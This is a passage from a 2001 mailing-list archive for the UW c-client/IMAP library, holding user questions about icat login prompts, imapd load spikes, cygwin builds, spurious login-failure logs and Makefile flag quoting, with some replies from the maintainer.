Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW00.01) with ESMTP id GAA25598 for ; Tue, 30 Jan 2001 06:33:24 -0800 (PST) Received: from list1.u.washington.edu (root@list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id GAA23025; Tue, 30 Jan 2001 06:33:22 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.9.3+UW00.05/8.9.3+UW00.12) with SMTP id GAA22588; Tue, 30 Jan 2001 06:30:24 -0800 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW00.12) with ESMTP id GAA70148 for ; Tue, 30 Jan 2001 06:28:03 -0800 Received: from revere3.musc.edu (revere3.musc.edu [128.23.203.10]) by mxu2.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id GAA18900 for ; Tue, 30 Jan 2001 06:28:02 -0800 Received: from fade (imholzj@fade.harborview.musc.edu [128.23.43.156]) by revere3.musc.edu (8.8.8/8.8.8) with ESMTP id JAA23337 for ; Tue, 30 Jan 2001 09:27:55 -0500 (EST) Message-Id: <22390000.980864725@fade> Date: Tue, 30 Jan 2001 09:25:25 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: John Imholz To: c-client@u.washington.edu Subject: How do you pass userid and password to icat? MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Please feel free to point me to some doc. I just want to create a web site for users to download (for archival) some of their IMAP folders when they hit quota. Looks like icat is built for such a thing. I just don't see how to avoid the prompt for userid and password. I guess I could use expect, but surely there's a better way that I'm just missing. Thanks for your help, John Imholz -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue Jan 30 11:34:07 2001 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Tue, 30 Jan 2001 11:34:06 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW00.01) with ESMTP id LAA05459 for ; Tue, 30 Jan 2001 11:34:04 -0800 (PST) Received: from list2.u.washington.edu (root@list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id LAA32520; Tue, 30 Jan 2001 11:34:02 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.9.3+UW00.05/8.9.3+UW00.12) with SMTP id LAA22346; Tue, 30 Jan 2001 11:31:48 -0800 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW00.12) with ESMTP id LAA145222 for ; Tue, 30 Jan 2001 11:29:22 -0800 Received: from mxout1.cac.washington.edu (mxout1.cac.washington.edu [140.142.32.5]) by mxu2.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id LAA29402 for ; Tue, 30 Jan 2001 11:29:21 -0800 Received: from microdol1.cac.washington.edu (microdol1.cac.washington.edu [140.142.112.196]) by mxout1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW00.01) with ESMTP id LAA24790; Tue, 30 Jan 2001 11:29:21 -0800 Received: from shimo-tomobiki.panda.com (D-140-142-110-147.dhcp.washington.edu [140.142.110.147]) (authenticated) by microdol1.cac.washington.edu (8.11.1+UW00.11/8.11.1+UW00.11) with ESMTP id f0UJTLH02124; Tue, 30 Jan 2001 11:29:21 -0800 Message-Id: Date: Tue, 30 Jan 2001 11:29:22 -0800 (Pacific Standard Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: John Imholz Cc: Subject: Re: How do you pass userid and password to icat? In-Reply-To: <22390000.980864725@fade> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: mrc@cac.washington.edu X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 30 Jan 2001, John Imholz wrote: > I just want to create a web site for users to download (for archival) some > of their IMAP folders when they hit quota. Looks like icat is built for > such a thing. I just don't see how to avoid the prompt for userid and > password. Probably the best thing to do is modify icat so it works with your web site as you wish. icat is a small program, so it should be a simple mod. The purpose of the imap-utils is to share some of the useful small programs that we have, but not to imply that these are the be-all and end-all for IMAP utilities. They're also good as sample demonstration programs for how to write your own little applications. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. From pinedev@shivax2.cac.washington.edu Tue Jan 30 16:03:04 2001 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Tue, 30 Jan 2001 16:03:04 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW00.01) with ESMTP id QAA09506 for ; Tue, 30 Jan 2001 16:03:03 -0800 (PST) Received: from list2.u.washington.edu (root@list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id QAA31069; Tue, 30 Jan 2001 16:03:00 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.9.3+UW00.05/8.9.3+UW00.12) with SMTP id QAA21306; Tue, 30 Jan 2001 16:00:52 -0800 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW00.12) with ESMTP id PAA60618 for ; Tue, 30 Jan 2001 15:59:48 -0800 Received: from andrew.triumf.ca (IDENT:root@andrew.Triumf.CA [142.90.106.59]) by mxu4.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id PAA27319 for ; Tue, 30 Jan 2001 15:59:48 -0800 Received: from localhost (IDENT:andrew@localhost [127.0.0.1]) by andrew.triumf.ca (8.10.2/8.10.2) with ESMTP id f0UNxlV07659 for ; Tue, 30 Jan 2001 15:59:47 -0800 Message-Id: Date: Tue, 30 Jan 2001 15:59:47 -0800 (PST) Reply-To: Andrew Daviel Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Andrew Daviel To: c-client@u.washington.edu Cc: Subject: imapd in wait_on state In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN We have IMAP4rev1 2000.283 running under RedHat 7.0, with various other things running on the system like sendmail, httpd, mysql etc. but no shell users. Recently we seem to get big peaks in system load (14 or so) I noticed that there a several copies of imapd which "ps" reports as being in a state of D (" uninterruptible sleep") with WCHAN = "wait_o". I'm not really sure what this means or what triggers it. After a few seconds the load subsides to a more reasonable level, but while this is going on sendmail will stop accepting mail and users cmplain of sluggish behaviour. Any hints ? -- Andrew Daviel, TRIUMF, Canada Tel. +1 (604) 222-7376 security@triumf.ca From pinedev@shivax2.cac.washington.edu Thu Feb 1 09:38:12 2001 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Thu, 1 Feb 2001 09:38:12 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW00.01) with ESMTP id JAA02738 for ; Thu, 1 Feb 2001 09:38:11 -0800 (PST) Received: from list1.u.washington.edu (root@list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id JAA26079; Thu, 1 Feb 2001 09:38:09 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.9.3+UW00.05/8.9.3+UW00.12) with SMTP id JAA24720; Thu, 1 Feb 2001 09:33:54 -0800 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW00.12) with ESMTP id JAA51524 for ; Thu, 1 Feb 2001 09:30:01 -0800 Received: from dsdm02002.internet.datamedia.fr (mail.datamedia.fr [212.155.239.64]) by mxu2.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id JAA16963 for ; Thu, 1 Feb 2001 09:30:00 -0800 Received: by dsdm02002.internet.datamedia.fr with Internet Mail Service (5.5.2650.21) id ; Thu, 1 Feb 2001 18:30:01 +0100 Message-Id: <21ACBAE9C35CD311800D005004869A7533D2DD@dsdm02002.internet.datamedia.fr> Date: Thu, 1 Feb 2001 18:30:00 +0100 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Emmanuel Sellier To: "C-Client (E-mail)" Subject: C++ API over C-Client API of the UW IMAP library ? MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hello, Does anyone knows an existing and free C++ API, "revamping" the C-Client API of the UW IMAP source. Thanks Emmanuel -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Feb 1 17:08:01 2001 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Thu, 1 Feb 2001 17:08:01 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW00.01) with ESMTP id RAA05279 for ; Thu, 1 Feb 2001 17:08:00 -0800 (PST) Received: from list1.u.washington.edu (root@list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id RAA09073; Thu, 1 Feb 2001 17:07:56 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.9.3+UW00.05/8.9.3+UW00.12) with SMTP id RAA33354; Thu, 1 Feb 2001 17:05:05 -0800 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW00.12) with ESMTP id RAA151464 for ; Thu, 1 Feb 2001 17:02:06 -0800 Received: from andrew.triumf.ca (IDENT:root@andrew.Triumf.CA [142.90.106.59]) by mxu1.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id RAA14354 for ; Thu, 1 Feb 2001 17:02:05 -0800 Received: from localhost (IDENT:andrew@localhost [127.0.0.1]) by andrew.triumf.ca (8.10.2/8.10.2) with ESMTP id f12124V30504; Thu, 1 Feb 2001 17:02:05 -0800 Message-Id: Date: Thu, 1 Feb 2001 17:02:04 -0800 (PST) Reply-To: Andrew Daviel Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Andrew Daviel To: Cc: Steven Mcdonald Subject: Re: imapd in wait_on_buffer state In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 30 Jan 2001, Andrew Daviel wrote: > Recently we seem to get big peaks in system load (14 or so) > I noticed that there a several copies of imapd which "ps" reports > as being in a state of D (" uninterruptible sleep") > with WCHAN = "wait_o". After rebuilding "ps" so it doesn't truncate the state names I can report that it is mostly a "wait on buffer" state. RedHat 7.0, 2.2.16-22 kernel, one CPU. This is imap-2000, built with OpenSSL. Ideas ? ----- Hmmm; this seems to correspond to connects from a user running Outlook. I see a flurry of "imap service init" (one a second) from the same ip. Hmmm#2; maybe this is the "Check for Messages in all Folders" thing reported earlier. I'll have to check tomorrow when the guy is back. He says he's been running it like this for ages, set to check every 5 minutes. ------- Can't be the whole story. He's logged out and the load just went up to 10-ish without a lot of new "inits" .. help! Andrew Daviel TRIUMF From pinedev@shivax2.cac.washington.edu Tue Feb 6 08:54:40 2001 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Tue, 6 Feb 2001 08:54:39 -0800 (PST) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW00.01) with SMTP id IAA22404 for ; Tue, 6 Feb 2001 08:54:38 -0800 (PST) Received: FROM mx2.cac.washington.edu BY newman.cac.washington.edu ; Tue Feb 06 08:54:38 2001 -0800 Received: from list4.u.washington.edu (root@list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id IAA17104; Tue, 6 Feb 2001 08:54:36 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.9.3+UW00.05/8.9.3+UW00.12) with SMTP id IAA29458; Tue, 6 Feb 2001 08:45:39 -0800 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW00.12) with ESMTP id IAA92440 for ; Tue, 6 Feb 2001 08:43:36 -0800 Received: from dsdm02002.internet.datamedia.fr (mail.datamedia.fr [212.155.239.64]) by mxu2.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id IAA30779 for ; Tue, 6 Feb 2001 08:43:34 -0800 Received: by dsdm02002.internet.datamedia.fr with Internet Mail Service (5.5.2650.21) id ; Tue, 6 Feb 2001 17:43:34 +0100 Message-Id: <21ACBAE9C35CD311800D005004869A755E7379@dsdm02002.internet.datamedia.fr> Date: Tue, 6 Feb 2001 17:43:33 +0100 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Emmanuel Sellier To: "C-Client (E-mail)" Subject: Sample code for forwarding incoming mail to an SMTP mailbox MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hello, Does anyone has a sample code (not pine, please) for forwarding imap incoming mail (with attachments) to an SMTP mailbox. I have problems understanding how to get data for attachments. Thanks A LOT ! Emmanuel -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue Feb 6 18:51:06 2001 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Tue, 6 Feb 2001 18:51:00 -0800 (PST) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW00.01) with SMTP id SAA03943 for ; Tue, 6 Feb 2001 18:50:58 -0800 (PST) Received: FROM mx2.cac.washington.edu BY newman.cac.washington.edu ; Tue Feb 06 18:50:58 2001 -0800 Received: from list4.u.washington.edu (root@list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id SAA03596; Tue, 6 Feb 2001 18:50:56 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.9.3+UW00.05/8.9.3+UW00.12) with SMTP id SAA28580; Tue, 6 Feb 2001 18:48:58 -0800 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW00.12) with ESMTP id SAA21846 for ; Tue, 6 Feb 2001 18:47:59 -0800 Received: from mail.takas.lt (srvr2.telecom.lt [212.59.0.1]) by mxu2.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id SAA05957 for ; Tue, 6 Feb 2001 18:47:58 -0800 Received: from nnn (flatrate1326.vln.takas.lt [212.59.31.115]) by mail.takas.lt (8.9.1/8.9.0) with SMTP id EAA1077952 for ; Wed, 7 Feb 2001 04:47:50 +0200 (GMT+0200) Message-Id: Date: Wed, 7 Feb 2001 04:48:24 +0200 Reply-To: Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Nerijus Baliunas" To: "C-Client \(E-mail\)" Subject: c-client OS type for cygwin In-Reply-To: <21ACBAE9C35CD311800D005004869A755E7379@dsdm02002.internet.datamedia.fr> MIME-Version: 1.0 Content-Type: text/plain; charset="ISO-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hello, What OS type should I use for cygwin? Regards, Nerijus -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Feb 8 01:11:12 2001 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Thu, 8 Feb 2001 01:11:07 -0800 (PST) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW00.01) with SMTP id BAA07296 for ; Thu, 8 Feb 2001 01:11:06 -0800 (PST) Received: FROM mx1.cac.washington.edu BY newman.cac.washington.edu ; Thu Feb 08 01:11:06 2001 -0800 Received: from list4.u.washington.edu (root@list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id BAA29990; Thu, 8 Feb 2001 01:10:59 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.9.3+UW00.05/8.9.3+UW00.12) with SMTP id BAA19910; Thu, 8 Feb 2001 01:05:17 -0800 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW00.12) with ESMTP id AAA145256 for ; Thu, 8 Feb 2001 00:14:14 -0800 Received: from Imani.swahilie.net ([64.244.217.177]) by mxu4.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id AAA25808 for ; Thu, 8 Feb 2001 00:14:08 -0800 Received: from Slo (Slo.swahilie.net [192.168.0.3]) by Imani.swahilie.net (8.11.1/8.9.3) with SMTP id f188E7134700 for ; Thu, 8 Feb 2001 03:14:07 -0500 (EST) (envelope-from network@network.shacknet.nu) Message-Id: <006101c091a7$244f0be0$0300a8c0@swahilie.net> Date: Thu, 8 Feb 2001 03:14:21 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Network" To: Subject: Successful logins reported as failures MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Every time we have a *successful* login, imap-uw reports the following from /var/log/messages - Feb 8 02:49:43 tower imapd[508]: Login failure user= host=tower.swahilie.net [192.168.0.5] OS=FreeBSD-4.2-Stable imap-uw version= /usr/ports/mail/imap-uw/work/imap-2000a ... from the FreeBSD ports-collection. How to fix this? -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Feb 8 01:23:58 2001 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Thu, 8 Feb 2001 01:23:58 -0800 (PST) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW00.01) with SMTP id BAA13773 for ; Thu, 8 Feb 2001 01:23:57 -0800 (PST) Received: FROM mx2.cac.washington.edu BY newman.cac.washington.edu ; Thu Feb 08 01:23:56 2001 -0800 Received: from list2.u.washington.edu (root@list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id BAA16007; Thu, 8 Feb 2001 01:23:49 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.9.3+UW00.05/8.9.3+UW00.12) with SMTP id BAA31694; Thu, 8 Feb 2001 01:19:28 -0800 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW00.12) with ESMTP id BAA111266 for ; Thu, 8 Feb 2001 01:17:25 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (laporta@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu4.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id BAA30582 for ; Thu, 8 Feb 2001 01:17:22 -0800 Message-Id: Date: Thu, 8 Feb 2001 01:15:08 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Network Cc: c-client@u.washington.edu Subject: re: Successful logins reported as failures In-Reply-To: <006101c091a7$244f0be0$0300a8c0@swahilie.net> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, 8 Feb 2001 03:14:21 -0500, Network wrote: > Every time we have a *successful* login, imap-uw reports the following from > /var/log/messages > - > Feb 8 02:49:43 tower imapd[508]: Login failure user= > host=tower.swahilie.net [192.168.0.5] If that's actually what you're getting (nothing after the "user="), then it sounds like some kind of client bug. It's first trying to log in with a null user name, before a successful login. You are seeing the syslog for a successful login, aren't you? > OS=FreeBSD-4.2-Stable > imap-uw version= /usr/ports/mail/imap-uw/work/imap-2000a ... from the > FreeBSD ports-collection. The current release version is imap-2000c, available from: ftp://ftp.cac.washington.edu/mail/imap.tar.Z From pinedev@shivax2.cac.washington.edu Fri Feb 9 07:18:54 2001 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Fri, 9 Feb 2001 07:18:51 -0800 (PST) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW00.01) with SMTP id HAA18746 for ; Fri, 9 Feb 2001 07:18:50 -0800 (PST) Received: FROM mx2.cac.washington.edu BY newman.cac.washington.edu ; Fri Feb 09 07:18:50 2001 -0800 Received: from list3.u.washington.edu (root@list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id HAA28606; Fri, 9 Feb 2001 07:18:47 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.9.3+UW00.05/8.9.3+UW00.12) with SMTP id HAA09466; Fri, 9 Feb 2001 07:16:55 -0800 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW00.12) with ESMTP id HAA55744 for ; Fri, 9 Feb 2001 07:16:20 -0800 Received: from poseidon.rider.edu (poseidon.rider.edu [204.142.238.100]) by mxu4.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id HAA22632 for ; Fri, 9 Feb 2001 07:16:18 -0800 Received: from rider.edu (suave.rider.edu [204.142.238.105]) by poseidon.rider.edu (8.9.3+Sun/8.9.3) with ESMTP id KAA15976 for ; Fri, 9 Feb 2001 10:16:12 -0500 (EST) Message-Id: <3A840988.723523D5@rider.edu> Date: Fri, 09 Feb 2001 10:15:20 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Ricardo Stella To: c-client@u.washington.edu Subject: searchable archive anywhere ? MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="------------F50C5BA6DB8042FCE000564F" X-Accept-Language: en X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN This is a multi-part message in MIME format. --------------F50C5BA6DB8042FCE000564F Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit RTTA - TIA. -- ------------------------------------------------------------------ Ricardo Stella O.I.T. (609)896-5000 x7436 _suAve_ Rider University *** SPAM will not be tolerated *** --------------F50C5BA6DB8042FCE000564F Content-Type: text/x-vcard; charset=us-ascii; name="stella.vcf" Content-Transfer-Encoding: 7bit Content-Description: Card for Ricardo Stella Content-Disposition: attachment; filename="stella.vcf" begin:vcard adr;dom:;;;Lawrenceville;NJ;08648; adr:;;2083 Lawreceville Road;Lawrenceville;NJ;08648; n:Stella;Ricardo tel;fax:1-609-219-4994 tel;work:1-609-896-5000 x7436 x-mozilla-html:FALSE url:http://poseidon.rider.edu org:Rider University;O.I.T. version:2.1 title:Manager x-mozilla-cpt:;-9584 fn:Ricardo Stella end:vcard --------------F50C5BA6DB8042FCE000564F-- -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Fri Feb 9 07:18:55 2001 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Fri, 9 Feb 2001 07:18:55 -0800 (PST) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW00.01) with SMTP id HAA17059 for ; Fri, 9 Feb 2001 07:18:54 -0800 (PST) Received: FROM mx2.cac.washington.edu BY newman.cac.washington.edu ; Fri Feb 09 07:18:53 2001 -0800 Received: from list2.u.washington.edu (root@list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id HAA28609; Fri, 9 Feb 2001 07:18:49 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.9.3+UW00.05/8.9.3+UW00.12) with SMTP id HAA19396; Fri, 9 Feb 2001 07:15:43 -0800 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW00.12) with ESMTP id HAA42510 for ; Fri, 9 Feb 2001 07:13:41 -0800 Received: from poseidon.rider.edu (poseidon.rider.edu [204.142.238.100]) by mxu2.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id HAA30935 for ; Fri, 9 Feb 2001 07:13:40 -0800 Received: from rider.edu (suave.rider.edu [204.142.238.105]) by poseidon.rider.edu (8.9.3+Sun/8.9.3) with ESMTP id KAA15965 for ; Fri, 9 Feb 2001 10:13:37 -0500 (EST) Message-Id: <3A8408ED.C984541B@rider.edu> Date: Fri, 09 Feb 2001 10:12:45 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Ricardo Stella To: c-client@u.washington.edu Subject: imap 2000c - EXTRACFLAGS MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="------------1068C4D097CEBC0ECDC9EA4A" X-Accept-Language: en X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN This is a multi-part message in MIME format. --------------1068C4D097CEBC0ECDC9EA4A Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit If I set -DMAILSUBDIR=\\\"imapmail\\\" inside the Makefile, I get errors make[1]: Entering directory `/usr/local/src/imap-2000c/c-client' `cat CCTYPE` -c `cat CFLAGS` `cat OSCFLAGS` -c osdep.c In file included from osdep.c:51: env_unix.c: In function `mymailboxdir': env_unix.c:746: stray '\' in program env_unix.c: In function `mailboxfile': env_unix.c:867: stray '\' in program make[1]: *** [osdep.o] Error 1 make[1]: Leaving directory `/usr/local/src/imap-2000c/c-client' make: *** [rebuild] Error 2 I read we could set this outside the make, ie: make gso EXTRACFLAGS=-DMAILSUBDIR=\"imapmail\" but (dumb question) how do you add more than one EXTRACFLAG in the command line, ie: make gso EXTRACFLAGS=-DMAILSUBDIR=\"imapmail\" \ -DDISABLE_AUTOMATIC_SHARED_NAMESPACES It tries to pass -DDISA... as a commandline parameter for make... I guess both EXTRACFLAGS should be wrapped within quotes, right, but then wouldn't we be introducing the same escape problem we have if we put the flag inside the Makefile ? TIA... -- ------------------------------------------------------------------ Ricardo Stella O.I.T. (609)896-5000 x7436 _suAve_ Rider University *** SPAM will not be tolerated *** --------------1068C4D097CEBC0ECDC9EA4A Content-Type: text/x-vcard; charset=us-ascii; name="stella.vcf" Content-Transfer-Encoding: 7bit Content-Description: Card for Ricardo Stella Content-Disposition: attachment; filename="stella.vcf" begin:vcard 